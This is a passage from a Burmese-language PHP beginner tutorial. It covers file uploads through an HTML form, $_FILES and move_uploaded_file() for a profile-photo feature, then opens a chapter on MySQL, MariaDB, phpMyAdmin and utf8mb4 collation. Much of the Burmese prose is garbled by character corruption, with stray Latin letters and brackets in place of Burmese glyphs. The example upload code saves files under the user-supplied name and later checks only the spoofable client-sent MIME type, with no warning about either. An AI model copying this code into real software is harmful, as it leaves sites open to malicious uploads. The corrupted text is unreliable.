Binary Data  ပေတွလည်း ပါလာနိုင်ပါတယ်။ လွယ်လွယ်ပေဖြပာရရင် Kုိင်ပေတွလည်း  Request  နဲ့အတူ ပါဝင်
လာနိုင်ပါတယ်။ အ့ဲဒီလုိ ပါဝင်လာတဲ့အ]ါ PHP နဲ့ ဘယ်လိုစီမံရသလဲဆိုတာကို ပေလ့လာကြကမှာပါ။

HTML Input ပေတွထဲမှာ <input type="file"> ဆိုတာ ရှိပါတယ်။ ဒီ  Input ရဲ့အကူအညီနဲ့  User
က ပေပးပ့ုိလိုတဲ့  Kုိင်ပေတွကို  ပေရွး]ျယ်လ့ုိရပါတယ်။  JavaScript  ရဲ့အကူအညီနဲ့  ပေရးွလိုက်တဲ့Kုိင်ကို  ဖြပပေပး
တာ၊  Kုိင်အရွယ်အစား  စစ်ပေပးတာပေတွ  လုပ်လ့ုိရပေပမယ့်  တစ်ကယ့်အပေဖြ]]ံကပေတာ့  ဘာမှဆန်းဆန်းဖြပား
ဖြပား မလုိပါဘူး။ <input type="file"> ကိုသံုးလုိက်ရင် Kုိငပ်ေတွပေရွးပြပီး ပ့ုိလ့ုိရသွားပါပြပီ။ စမ်းကြကည့်
နိုင်K့ုိ  ဒီလုိ  Form  ပေလးပါဝင်တဲ့  HTML Document  တစ်]ုကို  htdocs ပေအာက်မှာ နှစ်သက်ရာအမည်နဲ့
ပေရးသားကြကည့်နိုင်ပါတယ်။

<form 
    action="upload.php"
    method="post" 
    enctype="multipart/form-data"
>
    <input type="file" name="photo">
    <button type="submit">Send</button>
</form>
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ဒီပေနရာမှာ သတိဖြပုစရာပေလးနှစ်]ျက်ရှိပါတယ်။  Form  ရဲ့  method မှာ  get နဲ့  post နှစ်မျ ို းရှိပေပမယ့်
File  Input    ကို  အသံုးဖြပုလုိရင်    post     မှသာ  အလုပ်လုပ်ပါတယ်  ။  get နဲ့ဆိရုင်  အလုပ်မလုပ်ပါဘူး။
ပေနာက်တစ်]ျက်ကပေတာ့ နမူနာမှာပေတွ့ရသလုိ enctype     လ့ုိ ပေ]ါ်တဲ့    Attribute    တစ်]ု    Form   မှာ မဖြKစ်  

မပေန ပါဝင်K့ုိ လုိအပ်ပါတယ်။  multipart/form-data အတိအကျ ဖြKစ်ရပါတယ်။ ဒီ  Attribute  က
အပုိင်းလုိင်း]ွဲပြပီး  Encode  လုပ်ထားတဲ့  Binary Data  ပေတွ  ပေပးပ့ုိပါဝင်ပေကြကာင်း  Server  ကို  အသိပေပးတဲ့
သပေဘာပါ။  File  Input  အလုပ်မလုပ်ရင်  အများအားဖြKင့်  မှားကြကတာ  enctype Attribute  မပါဝင်ဖြ]င်း
(သ့ုိမဟုတ်) ပါပေတာ့ပါတယ်၊ သ့ူရဲ့ Value ဖြKစ်တဲ့ multipart/form-data ပေရးထားတာ စာလံုးပေပါင်း
မှားပေနတာ၊  မဖြပည့်စုံတာတို့ပေကြကာင့်  ဖြKစ်တတ်တာကို  အများအားဖြKင့်  ပေတွ့ရပါတယ်။  ဒါပေကြကာင့်  အထူး
သတိဖြပုပြပီး မှန်ကန်ပေအာင် ထည့်သွင်းပေပးKို့ လုိအပ်ပါတယ်။

ပံုမှန်အားဖြKင့်  PHP  က  Method  post နဲ့လာတဲ့  Request  Data  ပေတွကို  $_POST Superglobal  နဲ့
လက်]ံစီမံပါတယ်။  ဒါပေပမယ့်  File  Input  ကပေနလာတဲ့  Kုိင်နဲ့သက်ဆိုင်တဲ့  အ]ျက်အလက်ပေတွကို
$_FILES လ့ုိပေ]ါ်တဲ့ သီးဖြ]ား Superglobal နဲ့ သီးဖြ]ား]ွဲပြပီးပေတာ့ လက်]ံစီမံပါတယ်။ ပေစာပေစာက Form
နမူနာကုဒ်မှာ  action ကို  upload.php လ့ုိပေပးထားတဲ့အတွက်  upload.php ဆိုတဲ့Kုိင်ထဲမှာ ဒီလို
ပေရးပြပီး စမ်းကြကည့်နိုင်ပါတယ်။

 PHP 

<?php

print_r( $_FILES );

ပြပီးတဲ့အ]ါ  ပေစာပေစာကပေရးထားတဲ့  Form  ကပေနတစ်ဆင့်  Kုိင်တစ်]ုကို  ပေရွး]ျယ်ပေပးပ့ုိလုိက်ရင်
upload.php ကိုပေရာက်သွားပြပီး အ]ုလုိရလဒ်ကို ပေတွ့ဖြမင်ရမှာပဲ ဖြKစ်ပါတယ်။
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Array
(
    [photo] => Array
        (
            [name] => profile.jpg
            [type] => image/jpeg
            [tmp_name] => /path/to/temp/phpfHbCev
            [error] => 0
            [size] => 210446
        )

)

PHP  က  $_FILES Superglobal  ထဲမှာ  လက်]ံထားပေပးတဲ့  ပေပးပ့ုိလာတဲ့  Kုိင်နဲ့ပက်သက်တဲ့
အ]ျက်အလက်ပေတွကို  ပေတွ့ဖြမင်ရဖြ]င်းပဲ  ဖြKစ်ပါတယ်။  အ]ျက်အလက်  (၅)  ]ုပါဝင်တဲ့  Array  တစ်]ုပါ။
name, type, tmp_name, error နဲ့ size တို့ဖြKစ်ပါတယ်။ name ကပေတာ့ Kုိင်ရဲ့မူလအမည်ပါ။
type ကပေတာ့  MIME Type ပေ]ါ် Kုိင်အမျ ို းအစားပါ။  tmp_name     ကပေတာ့ အပေရးအကြကီးဆုံးပါပဲ  ။ ပေပးပ့ုိ
လုိက်တဲ့ Kုိင်ကို လက်]ံသိမ်းဆည်းထားတဲ့ ပေနရာပါ။ ဒါပေကြကာင့် ဒီရလဒ်ကို ပေတွ့ ဖြမင်ရရင် Request Data နဲ့
ပါလာတဲ့  Kုိင်ကို  လက်]ံသိမ်းဆည်းထားပြပီးပြပီ  ဆိုတဲ့သပေဘာပါပဲ။  error ကပေတာ့  0  ပဲဖြKစ်ရမှာပါ။
အပေကြကာင်းအမျ ို းမျ ို းပေကြကာင့်  Kုိင်ပျက်ပေနရင်  (သ့ုိမဟုတ်)  အဖြပည့်အစုံမပေရာက်ရင်  သက်ဆိုင်ရာ  error
တန်Kုိးရှိပေနမှာပါ။  ဘယ်လုိတန်Kိုး  ရှိပေနသလဲဆိုတာ  သိပ်အပေရးမကြကီးပါဘူး။  error မှာတန်Kိုးတစ်]ု]ု
ရှိပေနရင်  အ့ဲဒီKုိင်ကို  လက်]ံအသုံးဖြပုနိုင်ဖြ]င်း  မရှိတဲ့သပေဘာပါပဲ။  ပေနာက်ဆုံး  size ကပေတာ့  Kုိင်
အရွယ်အစားကို Byte နဲ့ပေKာ်ဖြပပေနဖြ]င်းပဲ ဖြKစ်ပါတယ်။

ဒီအ]ျက်အလက်ပေတွ  ပေတွ့ ဖြမင်ရပြပီဆိုရင်  File  ပေပးပ့ုိဖြ]င်း၊  လက်]ံဖြ]င်းကိစ္စ  ပေအာင်ဖြမင်သွားပါပြပီ။  ပေနာက်
တစ်ဆင့်အပေနနဲ့  လက်]ံရရှိထားတဲ့Kုိင်ကို  ကိုယ်လုိ]ျင်တဲ့ပေနရာမှာ ပေရ�့ သိမ်းထားပေပးရမှာ ဖြKစ်ပါတယ်။ ဒီ
အတွက် upload.php ထဲကကုဒ်ကို အ]ုလုိ ဖြပင်ပေရးနိုင်ပါတယ်။
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 PHP 

<?php

print_r( $_FILES );

$name = $_FILES['photo']['name'];
$tmp = $_FILES['photo']['tmp_name'];

move_uploaded_file($tmp, $name);

လက်]ံရရှိထားတဲ့  Kုိင်အ]ျက်အလက်ပေတွထဲက မူရင်းအမည်  name နဲ့  လက်ရှိတည်ပေနရာ  tmp_name
တို့ကို  ထုတ်ယူလုိက်တာပါ။  ပြပီးတဲ့အ]ါ  move_uploaded_file() Function  နဲ့  ပေနရာပေရ�့သိမ်း
ပေပးလုိက်ပါတယ်။ move_uploaded_file() အတွက် လကရ်ှိတည်ပေနရာနဲ့ သိမ်းလုိတဲ့တည်ပေနရာနဲ့
Kုိင်အမည်တို့ကို  ပေပးရတာပါ။  လက်ရှိတည်ပေနရာအပေနနဲ့  tmp_name ကပေနရတဲ့တန်Kုိးကို  ပေပးလိုက်ပါ
တယ်။ သိမ်းလိုတဲ့တည်ပေနရာအဖြKစ်  Path  လမ်းပေကြကာင်းကို  ပေပးရမှာပါ။  နမူနာမှာ ပေပးမထားပါဘူး။ Kုိင်
အမည်အပေနနဲ့  မူရင်းအမည်ကိုပဲ  ဖြပန်သံုးထားပါတယ်။  တည်ပေနရာမပေပးတဲ့အတွက်  လက်ရှိ
upload.php ရှိပေနတဲ့ Kုိဒါထဲမှာပဲ Kုိင်ကို ပေရ�့ ပြပီးမူရင်းအမည်နဲ့ သိမ်းပေပးသွားမှာပဲ ဖြKစ်ပါတယ်။

ဒီပေနရာမှာ  ပေတွ့ ရပေလ့ရှိတဲ့ဖြပဿနာကပေတာ့  Kုိဒါ  Permission  ဖြပဿနာပါ။  Windows  ပေတွမှာ  သိပ်
ဖြပဿနာ မရှိပေပမယ့်၊  Linux  တို့  Mac  တို့မှာ သင့်ပေတာ်တဲ့  Kုိဒါ  Permission  ပေပးမထားရင် အ့ဲဒီKုိဒါထဲမှာ
PHP  က  Kုိင်ကိုသိမ်းပေပးနိုင်မှာ  မဟုတ်ဘဲ  Permission  Denied  Error  တက်ပါလိမ့်မယ်။  ဒါပေကြကာင့်
Permission  Denied  Error  ပေတွ့]ဲ့ရင်  File  ပေကြကာင့်တက်တဲ့  ဖြပဿနာမဟုတ်ဘဲ  Kုိဒါ  Permission  ကို
ပေဖြပာင်းပေပးK့ုိ လုိအပ်ပေနတာ ဆိုတာကို သတိဖြပုပါ။

ဒီလုပ်ပေဆာင်]ျက်ကို  ပေရးလက်စ  ပပေရာဂျက်ထဲမှာလည်း  ထပ်ထည့်ပါဦးမယ်။  ဒါပေကြကာင့်  project  ထဲမှာ
လုိအပ်တဲ့ Kုိင်နဲ့ Kုိဒါပေတွကို အ]ုလုိ ထပ်မံထည့်သွင်းပေပးပါ။
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project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── photos/
│     ├── upload.php
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

_actions Kုိဒါထဲမှာ photos/ Kုိဒါနဲ့  upload.php Kုိင်တို့ကို ထပ်တိုးလုိက်တာပါ။ ပြပီးတဲ့အ]ါ ပေရး
လက်စ profile.php မှာ အ]ုလုိ ဖြKည့်စွက်ပေပးပါ။

…

<h1 class="mb-3">John Doe</h1>

<?php if(isset($_GET['error'])): ?>
    <div class="alert alert-warning">
        Cannot upload file
    </div>
<?php endif ?>

<?php if(file_exists('_actions/photos/profile.jpg')): ?>
    <img 
        class="img-thumbnail mb-3"
        src="_actions/photos/profile.jpg"
        alt="Profile Photo" width="200">
<?php endif ?>

<form action="_actions/upload.php" method="post" 
enctype="multipart/form-data">
<div class="input-group mb-3">

<input type="file" name="photo" class="form-control">
<button class="btn btn-secondary">Upload</button>

</div>
</form>

<ul class="list-group">

… 
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နဂိုပေရးလက်စ <h1> Element နဲ့  <ul> Element ကြကားထဲမှာ ထပ်ဖြKည့်ပေပးလိုက်တာပါ။ အလုပ် (၃) ]ု
လုပ်ထားပါတယ်။ အကယ်၍ URL Query မှာ  error တန်Kုိးရှိပေနရင်  Error Message ကို ဖြပပေပးထားပါ
တယ်။  ပြပီးတဲ့အ]ါ  file_exists() Function  နဲ့  profile.jpg ရှိမရှိစစ်ပြပီး  ရှရိင်  <img>
Element  နဲ့  ဖြပ]ိုင်းထားပါတယ်။  ပြပီးတဲ့အ]ါ  Form  တစ်]ု  ဆက်လက်ပါဝင်ပါတယ်။  <input
type="file"> နဲ့  Profile  Picture  ပေရးွပြပီး  ပ့ုိလ့ုိရတဲ့  Form  ပါ။  ဒီလုိထည့်သွင်းပေပးလုိက်ရင်
profile.php ရဲ့ အသွင်အဖြပင်က အ]ုလုိ ဖြKစ်သွားပါပြပီ။

ဆက်လက်ပြပီးပေတာ့ _actions/upload.php မှာ Kုိင်ကိုသိမ်းပေပးတဲ့ကုဒ်ကို အ]ုလုိပေရးသားပေပးပါ။
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 PHP 

<?php

$error = $_FILES['photo']['error'];

$tmp = $_FILES['photo']['tmp_name'];

$type = $_FILES['photo']['type'];

if($error) {

header('location: ../profile.php?error=file');

exit();

}

if($type === "image/jpeg" or $type === "image/png") {

move_uploaded_file($tmp, "photos/profile.jpg");

header('location: ../profile.php');

} else {

header('location: ../profile.php?error=type');

}

$_FILES Superglobal ကပေန error, type နဲ့  tmp_name တို့ကို ထုတ်ယူထားပါတယ်။ error
ရှိပေနရင်  ဆက်အလုပ်မလုပ်ဘဲ  ../profile.php ကို  error URL  Query  နဲ့  ဖြပန်သွား]ိုင်းထားပါ
တယ်။  ပြပီးတဲ့အ]ါ  ပေပးပို့လာတဲ့Kုိင်ကို  ပံု  ဟုတ်မဟုတ်စစ်]ျင်တဲ့အတွက်  type ကို  image/jpeg
သ့ုိမဟုတ်  image/png ဟုတ်မဟုတ်  စစ်ထားပါတယ်။  ဟုတ်မှန်ပေတာ့မှ  Kုိင်ကို  photos/ Kုိဒါထဲမှာ
သိမ်းပေပးပြပီး၊  မဟုတ်မှန်ဘူးဆိုရင်  ../profile.php ကို  error URL Query  နဲ့  ဖြပန်သွား]ိုင်းလိုက်
တာပါ။

ဒါပေကြကာင့် ပံုမဟုတ်တဲ့ Kုိင်တစ်]ု]ုကို  ပေရးွပြပီး ပ့ုိလုိက်ရင်  Error Message  ကိုပေတွ့ဖြမင်ရမှာဖြKစ်ပြပီး ပံုတစ်]ု
ကို အပေသအ]ျာပေရွးပြပီး ပ့ုိလုိက်ရင်ပေတာ့ ရလဒ်က အ]ုလုိဖြKစ်မှာပါ။
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ဒီနည်းနဲ့ ပေရးလက်စပပေရာဂျက်မှာ  Profile Picture  ပေဖြပာင်းလုိ့ရတဲ့ လုပ်ပေဆာင်]ျက်လည်း ပါဝင်သွားပြပီပဲ
ဖြKစ်ပါတယ်။
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အခန်း (၁၄) – MySQL Database

ကပေန့အ]ျနိ်မှာ  အထင်ရှားဆုံးနဲ့  လူသံုးအများဆုံး  Relational  Database  Management  System
(RDBMS) (၅)  မျ ို းရှိတယ်လ့ုိ ဆိုနိုင်ပါတယ်။  MySQL, MSSQL, Oracle, PostgreSQL  နဲ့  SQLite  တို့ပါ။
အားလံုးက Data ပေတွကို အဖြပန်အလှန် ဆက်စပ်ပေနတဲ့ Database Table ထဲမှာသိမ်းဆည်းပြပီး SQL Query
Language နဲ့ စီမံရတဲ့ နည်းပညာပေတွပါ။ အ]ုပေနာက်ပုိင်းမှာ အ့ဲဒီလို  အဖြပန်အလှန်ဆက်စပ်ပေနတဲ့  Table
ပေတွမှာ  Data ကိုသိမ်းတာမဟုတ်ပေတာ့တဲ့  NoSQL Database  နည်းပညာပေတွလည်း ထွက်ပေပါ်အသံုးတွင်
ကျယ်လာကြကပါတယ်။ Redis, MongoDB စတဲ့ Database နည်းပညာပေတွပါ။

အထင်ရှားဆုံး  RDBMS (၅)  မျ ို းထဲမှာ တစ်]ုအပါအဝင်ဖြKစ်တဲ့  SQLite  က  Standalone Database  ပေ]ါ်
Database  ကို  Kုိင်တစ်]ုလုိ  သယ်သွားလ့ုိရတဲ့  Database  အမျ ို းအစားဖြKစ်ပါတယ်။ ကျန်  (၄)  ]ုကပေတာ့
Client-Server  ပံုစံအလုပ်လုပ်လ့ုိ  Database Server  အပေနနဲ့ အသုံးဖြပုရပါတယ်။ ဒီစာအုပ်မှာ ထည့်သွင်း
ပေလ့လာကြကမှာကပေတာ့ MySQL Database နည်းပညာပဲ ဖြKစ်ပါတယ်။

MySQL Database  မှာ မူကွဲနှစ်မျ ို းရှိပါတယ်။ မူလ  MySQL  နဲ့  အ့ဲဒီ  မူလ  MySQL Source Code  ကပေန
Fork  လုပ်ယူပြပီး  တီထွင်ထားတဲ့  MariaDB  လ့ုိပေ]ါ်တဲ့  နည်းပညာပါ။  မူလ  MySQL  ဟာ  Open Source
နည်းပညာတစ်]ုဖြKစ်သလုိ  Commercial  အ]ပေပး  ဝန်ပေဆာင်မှုအပေနနဲ့လည်း  ရနိုင်တဲ့  နည်းပညာပါ။
ဖြပဿနာက  MySQL  ရဲ့  ပထမပုိင်ရှင်ဖြKစ်တဲ့  MySQL AB  လ့ုိပေ]ါ်တဲ့  ကုမ္ပဏီကို  Sun Microsystems  က
ပေဒါ်လာ (၁) ဘီလီယံနဲ့ ဝယ်ယူလုိက်တဲ့အတွက် MySQL ရဲ့ ဒုတိယပုိင်ရှင် ဖြKစ်သွားပါတယ်။ သိပ်မကြကာ]င်
မှာပဲ Sun Micorsystems ကို Oracle က ထပ်ဆင့်ဝယ်ယူလုိက်ဖြပန်လ့ုိ MySQL ရဲ့ တတိယနဲ့ လကရ်ှိပိုင်ရှင်
က Oracle ဖြKစ်ပေနပါတယ်။ 
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ဒါပေကြကာင့်  Oracle  လ့ုိပေ]ါ်တဲ့  အဖြ]ားထင်ရှားတဲ့  Commercial  Database  နည်းပညာနဲ့  MySQL  တိုရ့ဲ့
ပုိင်ရှင်ဟာ တစ်ဦးတည်း ဖြKစ်သွားပါတယ်။ ဒီအပေဖြ]အပေနကို တစ်]ျ ို ့က စိတ်ပူကြကပါတယ်။ Oracle အပေနနဲ့
MySQL  ရဲ့  မူလ  Open Source  လမ်းစဉ်ကပေန ပေသွKီသွားပေစမှာကို  စိတ်ပူကြကတာပါ။  ဒါပေကြကာင့်  ပထမ
ပုိင်ရှင်ဖြKစ်တဲ့  MySQL AB ကို ပူးပေပါင်းတည်ပေထာင်သူ တစ်ဦးကပဲ ဦးပေဆာင်ပြပီးပေတာ့  MySQL ရဲ့  Source
Code ကို Fork လုပ် ပွားယူလုိက်ပါတယ်။ Open Source ပပေရာဂျက်ပေတွမှာ သတ်မှတ်]ျက်များနဲ့အညီ အ့ဲ
ဒီလို  ပွားယူ]ွင့်  ရှိပါတယ်။ သတ်မှတ်]ျက်များနဲ့အညီ ဆိုတာကို  သတိဖြပုပါ။  ယူ]ျင်သလုိ ယူလ့ုိရတာမျ ို း
ပေတာ့ မဟုတ်ပါဘူး။ အ့ဲဒီလုိ ပွားယူထားတဲ့  မူကွဲကို  MariaDB  ဆိုတဲ့အမည်နဲ့  Open Source  နည်းပညာ
အဖြKစ် ဆက်လက် ရပ်တည်လာ]ဲ့လ့ုိ အ]ုဆိုရင် မူလ MySQL နဲ့ MariaDB ဆိုပြပီး မူကွဲနှစ်]ုရှိပေနတာပါ။

XAMPP  ကို  Install  လုပ်လုိက်စဉ်မှာ  ပါဝင်သွားတဲ့  Database  နည်းပညာက  MySQL  မဟုတ်ပါဘူး။
MariaDB ဖြKစ်ပါတယ်။ ဒါပေပမယ့် MySQL   နဲ့    MariaDB   တို့ဟာ   Drop-in Replacement   ပေ]ါ် တစ်]ုပေနရာ  
မှာ  ပေနာက်တစ်]ုကို  အ]ျနိ်မပေရွးအစားထုိး  အသုံးဖြပုနိုင်တဲ့  နည်းပညာပေတွပါ။  Source  မတူပေပမယ့်
အသုံးဖြပုပံု အတူတူပါပဲ။ ဒါပေကြကာင့် အပေ]ါ်အပေဝါ်ပေတွ ရှုပ်လုိ့  MariaDB  ဆိုတဲ့အသုံးအနှုန်းအစား  MySQL
ဆိုတဲ့ အသံုးအနှုန်းကိုသာ ဆက်လက်အသံုးဖြပုသွားမှာ ဖြKစ်ပါတယ်။ PHP ဘက်ကပေန ကုဒ်ပေတွပေရးတဲ့အ]ါ
မှာလည်း MySQL အမည်နဲ့ရှိပေနတဲ့ Standard Function ပေတွ  Standard Class ပေတွကို အသံုးဖြပုရမှာပါ။

XAMPP ကို Install လုပ်လုိက်စဉ်မှာ Database နည်းပညာတင် မကပါဘူး။ အ့ဲဒီ Database ကို စီမံလ့ုိရတဲ့
Software တစ်]ုဖြKစ်တဲ့  phpMyAdmin လ့ုိပေ]ါ်တဲ့ နည်းပညာကိုပါ တစ်]ါထဲ ထည့်သွင်းပေပးထားပါတယ်။
ဒါပေကြကာင့်  Database  စီမံတဲ့အလုပ်ကို  phpMyAdmin  နဲ့  ဆက်လက်ပေဆာင်ရွက်သွားကြကမှာ ဖြKစ်ပါတယ်။
PHP  ကိုအသံုးဖြပုပေရးသားထားတဲ့  Software  တစ်]ုဖြKစ်လို့  သီးဖြ]ားပရိုဂရမ်တစ်]ုအပေနနဲ့  Kွင့်စရာ မလုိပါ
ဘူး။ Web Browser မှာ လိပ်စာရိုက်ထည့်ပြပီး အသုံးဖြပုနိုင်ပါတယ်။ ဒီလုိပါ –

localhost/phpmyadmin

ဒီလို Browser URL မှာရိုက်ထည့်လုိက်ရင် အ]ုလုိ phpMyAdmin Interface ကို ပေတွ့ ဖြမင်ရမှာဖြKစ်ပါတယ်။
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ဘယ်ဘက်  Sidebar  ထဲမှာ  Database  စာရင်းရှိပေနပြပီး  ညာဘက်  Main Area  အပေပါ်နားမှာ  Menu Bar
ရှိပေနပါတယ်။  Menu Bar  ကပေန  Databases  ကို  နှိပ်ကြကည့်လုိက်ရင်  Sidebar  ထဲက စာရင်းနဲ့  တူညီတဲ့
Database စာရင်းကိုပဲ ရမှာပါ။ ဒါပေပမယ့် ထူးဖြ]ား]ျက်အပေနနဲ့  Database အသစ်ပေဆာက်လ့ုိရတဲ့  Create
Database Form တစ်]ုပါ ပူးတွဲပါဝင်တာကို အ]ုလုိ ပေတွ့ ရမှာ ဖြKစ်ပါတယ်။
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Database  အသစ်တည်ပေဆာက်K့ုိအတွက်  အ]ျက်အလက်  (၂)  ]ုပေပးရပါတယ်။  Database  အမည်နဲ့
Collation ဖြKစ်ပါတယ်။ Collation   ဆိုတာ   Data   ပေတွကို   Sorting   စီတဲ့အ]ါ၊ နှိုင်းယှဉ်တဲ့အ]ါ ဘယ်ပံုဘယ်  
နည်း စီရမယ်၊ နှိုင်းယှဉ်ရမယ်ဆိုတဲ့ နည်းလမ်းသတ်မှတ်]ျက်ပါ။ စမ်းကြကည့်နိုင်K့ုိအတွက် Database Name
ပေနရာမှာ  project လ့ုိပေပးလုိက်ပါ။  Collation  ကပေတာ့  သူအလုိအပေလ�ာက်  ပေရးွပေပးထားတဲ့
utf8mb4_general_ci က အဆင်ပေဖြပပါတယ်။ ဒီအတိုင်းထားလုိက်ရမှာပါ။

UTF-8  ဆိုတာ  Character  Encoding  နည်းပညာပါ။  ABC,  က]ဂ  စတဲ့  စာပေတွ  သိမ်းပံုသိမ်းနည်းလို့
အလွယ်ပေဖြပာနိုင်ပါတယ်။  ASCII,  Latin1  စတဲတ့စ်ဖြ]ား  Character  Set/Encoding  နည်းပညာပေတွ  ရှိပါ
ပေသးတယ်။ ASCII တို့ Latin1 တို့ဟာ အဂ�လိပ်စာနဲ့၊ စပိန်၊ ပေပါ်တူဂီ စတဲ့ လက်တင်စာပေတွ သိမ်းK့ုိအတွက်
သင့်ပေတာ်ပေပမယ့် ဖြမန်မာစာလုိ စာမျ ို းပေတွ သိမ်းK့ုိအတွက် မသင့်ပေတာ်ပါဘူး။  UTF-8  ကပေတာ့ ဖြမန်မာစာ
အပါအဝင် အဂ�လိပ်နဲ့ လက်တင်မဟုတ်တဲ့ စာပေတွသိမ်းK့ုိအတွက် ပုိသင့်ပေတာ်လ့ုိ အ]ုပေနာက်ပုိင်း  UTF-8
ကိုပဲ သံုးကြကပါတယ်။ ဘယ်လုိ၊ ဘာပေကြကာင့် ပုိသင့်ပေတာ်တာလဲဆိုတဲ့ အပေသးစိတ်ကိုပေတာ့ ဒီပေနရာမှာ ထည့်
ပေဖြပာနိုင်မှာ မဟုတ်ပါဘူး။

mb4 ဆိုတာ Multi-Byte (4-byte) ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ABC ဆိုတဲ့ စာလံုးပေလးပေတွ သိမ်းK့ုိအတွက် စာလံုး
တစ်လံုးကို 1-byte ပဲလိုပါတယ်။ က]ဂ ဆိုတဲ့ ဖြမန်မာစာ စာလံုးပေတွ သိမ်းK့ုိအတွက် စာလံုးတစ်လုံးကို 3-
byte လုိအပ်ပါတယ်။ အ]ုပေနာက်ပုိင်း Emoji ပေလးပေတွကို ပေနရာတိုင်းမှာ သံုးကြကတာ အားလုံးအသိပါ။ အ
ရင်က အ့ဲဒီ  Emoji  ပေလးပေတွက စာလံုး  Character  ပေလးပေတွ မဟုတ်ကြကပါဘူး။ ပံုပေလးပေတွ  (သ့ုိမဟုတ်)
ရိုးရိုးသပေက�တပေလးပေတွကို ပေပါင်းစပ်ထားတာပါ။ အ]ုပေတာ့ အ့ဲဒီ Emoji ပေလးပေတွ ကိုယ်တိုင်က စာပေရးတဲ့
အ]ါ ထည့်ပေရးလ့ုိရတဲ့  Character ပေလးပေတွ ဖြKစ်ပေနကြကပါပြပီ။ ဒီ Emoji Character ပေတွကို သိမ်းKို့အတွက်
ပေတာ့ 4-byte လုိအပ်ပါတယ်။ ဒါပေကြကာင့် mb4 ကိုပေရွးထားမှသာ Emoji ပေတွ ထည့်ပေရးထားတဲ့ စာပေတွကို
စီမံတဲ့အ]ါ ပုိမှန်မှာပါ။

Collation  မှာ  general_ci နဲ့  unicode_ci ဆိုပြပီး  မူကွဲနှစ်မျ ို း  ရှိကြကပါပေသးတယ်။  ci ကပေတာ့
Case Insensitive ရဲ့ အတိုပေကာက်ပါ။ ဒါပေကြကာင့် ci ပါတဲ့ Collation ကိုပေရွးထားရင် Aa, Bb စတဲ့ စာလံုး
အကြကီးအပေသးမတူလ့ုိ ရှာရင် မပေတွ့ဘူးဆိုတာမျ ို း မဖြKစ်ပေတာ့ပါဘူး။  general နဲ့  unicode ကလည်း
အပေဖြ]]ံအားဖြKင့်  တူပါတယ်။  unicode ဆိုတာ  Unicode  Consortium  လ့ုိပေ]ါ်တဲ့  အKဲွ့အစည်းက
သတ်မှတ်ထားတဲ့  နည်းလမ်းအတိုင်း  အတိအကျအလုပ်လုပ်တယ်ဆိုတဲ့  သပေဘာဖြKစ်ပြပီး၊  general
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ကပေတာ့ အတိအကျ မဟုတ်ဘဲ Database က ပုိသင့်ပေတာ်မယ်လို့ ယူဆတဲ့နည်းလမ်းနဲ့ အလုပ်လုပ်တယ်
ဆိုတဲ့သပေဘာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  unicode ကိပုေရွးရင် ရှာတာ၊ စီတာပေတွ ပုိမှန်နိုင်ပြပီး၊  general
ကိုပေရွးရင် ပုိဖြမန်နိုင်တယ်လုိ့ ပေကာက်]ျက်]ျ]ျင်ပါတယ်။ ဒါကပေတာ့ စာပေရးသူရဲ့ ပေကာက်]ျက်သက်သက်မ့ုိ
လဲွပေကာင်းလဲွနိုင်ပါတယ်။

ဒီပေလာက်ဆိုရင်  utf8mb4_general_ci ဆိုတာ  ဘာကိုပေဖြပာတာလဲ  ဆိုတဲ့  အကြကမ်းKျဉ်း
သပေဘာသဘာဝ  ကို  သိရှိသွားမယ်လ့ုိ  ယူဆပါတယ်။  ဆက်လက်စမ်းသပ်နိုင်K့ုိ  Create Button  ကိုနှိပ်
လုိက်ပါ။ အ့ဲဒီလုိ နှိပ်လုိက်တာနဲ့ project အမည်နဲ့ Database တစ်]ုကို တည်ပေဆာက်ရရှိပါပြပီ။

ဒီပေနရာမှာ phpMyAdmin ရဲ့ Feature အားလံုးနဲ့ MySQL ရဲ့ Feature အားလံုးကို ထည့်သွင်းပေKာ်ဖြပနိုင်မှာ
မဟုတ်ပါဘူး။  လက်ပေတွ့ပပေရာဂျက်ပေတွမှာ  လုိအပ်မယ့်အပုိင်းကိုသာ  ပေရွးထုတ်ပေKာ်ဖြပသွားမှာ  ဖြKစ်ပါ
တယ်။ ဒါပေကြကာင့် MySQL အပေကြကာင်းနဲ့  phpMyAdmin ရဲ့  Feature ပေတွကို ဒီထက်ပိုပြပီး ဖြပည့်ဖြပည့်စုံစုံ သိ
]ျင်တယ်ဆိုရင် ဆက်လက်ပေလ့လာK့ုိ လုိအပ်ပေသးတယ်လ့ုိ မှတ်ထားရမှာပါ။

Database  တည်ပေဆာက်ပြပီးတဲ့အ]ါ တည်ပေဆာက်လုိက်တဲ့  Database  ကို အလုိအပေလ�ာက် ပေရးွပေပးထား
တာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။ အ]ုမှအသစ်ပေဆာက်တဲ့ Database ဖြKစ်လ့ုိ No tables found in database
ဆိုတဲ့  Message  နဲ့အတူ Table  ပေတတွည်ပေဆာက်လ့ုိရတဲ့  Create  Table  Form  ကို  ပေတွ့ ဖြမင်ရမှာပါ။
အကယ်၍ Create Table Form ကို မပေတွ့ဘူးဆိုရင် ဘယ်ဘက်  Sidebar  ထဲကပေန ကိုယ်တည်ပေဆာက်
လုိက်တဲ့ Database အမည်ဖြKစ်တဲ့ project ကို နှိပ်ကြကည့်လ့ုိ ရပါတယ်။
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Table တစ်]ုစတင် တည်ပေဆာက်နိုင်Kို့အတွက် Name ပေနရာမှာ roles လ့ုိပေပးပြပီး Number of columns
ပေနရာမှာ 3 လ့ုိပေပးလုိက်ပါ။ ပြပီးရင် Go ]လုပ်ကို နှိပ်လုိက်ပါ။ ဒါဆိုရင် Column (၃) ]ုပါဝင်တဲ့ Table တစ်
]ု တည်ပေဆာက်K့ုိအတွက် ပေနာက်ထပ် Form တစ်]ုကို အ]ုလုိ ပေတွ့ ဖြမင်ရမှာ ဖြKစ်ပါတယ်။

ပါဝင်ရမယ့်  Column  ပေတွအတွက်  Name, Type, Length/Values  စသည်ဖြKင့် လုိအပ်တဲ့  Property  ပေတွ
ဆက်လက် သတ်မှတ်ပေပးရမှာပါ။
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Name –  Laravel အပါအဝင် တစ်]ျ ို ့ Framework ပေတွက Convention Over Configuration ဆိုတဲ့နည်း
ကို  အသံုးဖြပုကြကပါတယ်။  အဓိပ္ပါယ်က၊  အမည်မှန်ပေအာင်ပေပးရင်  လုပ်သင့်တဲ့အလုပ်ကို  အလုိအပေလ�ာက်
